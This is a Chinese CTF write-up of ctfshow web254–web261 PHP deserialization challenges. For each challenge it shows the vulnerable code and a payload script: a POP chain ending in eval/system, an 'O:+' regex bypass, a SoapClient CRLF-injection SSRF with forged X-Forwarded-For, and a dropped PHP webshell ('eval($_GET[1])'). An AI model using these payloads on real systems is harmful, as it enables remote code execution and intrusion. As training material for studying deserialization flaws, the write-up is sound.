一些基础:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名__sleep() //在对象被序列化之前运行 *
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这个题就是简单的逻辑,首先是登陆,判断账号密码是否为xxxxxx,是的话isVip则返回true,之后检测isVip是否为true,是的话就输出flag。
因此,直接get传两个参数,username和password都是xxxxxx即可出flag。
web255:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
逻辑挺简单的,就是从cookie取一个序列化后的字符串,进行反序列化,这个类就实例化成一个对象user,然后对这个对象进行操作,进行login,但是login只会返回一个真或者假,不会操作isVip参数,之后的checkVip会检测isVip的值,为真则输出flag,所以,生成的序列化字符串要求是isVip属性得是真,所以生成的脚本如下:
<?php
class ctfShowUser{
public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?username=xxxxxx&password=xxxxxx
web256:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这个题在这个函数里有个问题:
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
这里很明显,当账号和密码相等的时候,就不会输出flag,当不等的时候就输出,所以,需要通过反序列化将username或者password改一个,使他们不相等,之后get传参的时候传入修改之后的就行了。生成cookie的脚本如下:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
}
$a = new ctfShowUser();
$a->isVip = true;
$a->password = "xxxxx";
echo urlencode(serialize($a));
?username=xxxxxx&password=xxxxx
web257:
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
这个题第一次遇到了魔术方法, 由于存在backDoor类,里面有可以进行RCE的点,所以,这里可以想办法触发__construct
方法以及修改参数来创建这个类,但是,由于info类和backDoor类都有一个同名的方法,就是getInfo,所以在脚本结束的时候,也就是释放或者销毁类的时候就会调用__destruct
方法, 然后调用到backDoor类里的getInfo方法进行RCE。生成payload的脚本如下:
<?php
class ctfShowUser
{
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = true;
private $class = 'info';
public function __construct()
{
$this->class = new backDoor();
}
}
class info
{
private $user = 'xxxxxx';
public function getInfo()
{
return $this->user;
}
}
class backDoor
{
private $code = "system('tac flag.php');";
public function getInfo()
{
eval($this->code);
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
web258:
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这个题对比上一题,多了个正则过滤,基本上就是过滤了o:数字 以及 c:数字 ,这种形式,这里可以使用加号绕过:
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class = new backDoor();
}
}
class backDoor{
public $code = "system('tac fl*');";
}
$a = new ctfShowUser();
$b = serialize($a);
$b = str_replace("O:","O:+",$b);
echo urlencode($b);
这个构造我踩了不少坑,最严重的是system函数后面,没有加分号,这个是最大的问题,我一直以为没有成功,结果是因为每家分号。
web259:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
这个题给的信息好少,不会做,看下wp。
这一题主要考察了原生类的反序列化,好吧,第一次遇到完全想不到,即使学了原生类也没想到。
由于整个index里面没有任何类,所以后面的反序列化加上$vip->getFlag();给人第一反应应该是调用了一个不存在的方法以及原生类结合,触发__call
魔术方法,
贴一个链接,这个文章感觉很详细:【靶场】ctfshow 详解web259原生类反序列化
这里是使用的Soapclient原生类:
Soapclient原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务
SoapClient原生类, 类似于curl一样的存在, 基于 XML 的协议,它使应用程序通过 HTTP 来交换信息
提示里给了这个:
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这里可以看出来,flag,php文件会帮我们获得flag的值,但是,需要提前检测ip,也就是xff的值。
从代码上看直接访问flag.php给X_FORWARDED_FOR赋值127.0.0.1三次(127.0.0.1, 127.0.0.1, 127.0.0.1)就可以绕过array_pop(删除数组末尾的值), 在传入token等于ctfshow就能得到flag
所以,构造payload的脚本如下:
<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
echo urlencode(serialize($client));
完成上面的生成操作得安装php-soap拓展,我这里用的是phpstudy,它自带这个拓展,但是没有编译。打开php-ini,找到extension=php_soap.dll,把前面的分号去掉。
之后得到的payload发送之后直接读取flag.txt即可。
web260:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
没搞懂这个题的意义是啥,算了无脑了:get传一个ctfshow=ctfshow_i_love_36D即可得到flag。
web261:
提示里出现了个打redis,有点害怕了。
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
先扔一个考点:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
所以不用搭理__wakeup
直接打木马:
因为存在file_put_contents,所以只需要将木马写入文件里即可,然后就是__destruct
,在脚本跑完的时候会自动执行,所以完全可以触发,之后,有一个 if($this->code==0x36d ,需要想办法通过,因为是弱比较,所以可以利用这个PHP的特性,先执行下这个:
echo 0x36d == "877.php";
发现输出结果是1,好了,可以直接梭了:
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_GET[1]);?>';
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
之后访问877.php直接RCE即可。